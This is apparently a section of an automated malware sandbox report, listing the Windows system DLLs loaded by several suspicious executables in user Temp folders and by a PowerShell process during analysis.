Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Section loaded: kernel.appcore.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: apphelp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: sspicli.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: wininet.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: rstrtmgr.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ncrypt.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ntasn1.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: dbghelp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: iertutil.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: windows.storage.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: wldp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: profapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: kernel.appcore.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: winhttp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: mswsock.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: iphlpapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: winnsi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: urlmon.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: srvcli.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: netutils.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: dnsapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: rasadhlp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: fwpuclnt.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: schannel.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: mskeyprotect.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: msasn1.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: dpapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: cryptsp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: rsaenh.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: cryptbase.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: gpapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ncryptsslp.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ntmarta.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: uxtheme.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: windowscodecs.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: propsys.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: ntshrui.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: cscapi.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: linkinfo.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: edputil.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: wintypes.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: appresolver.dll
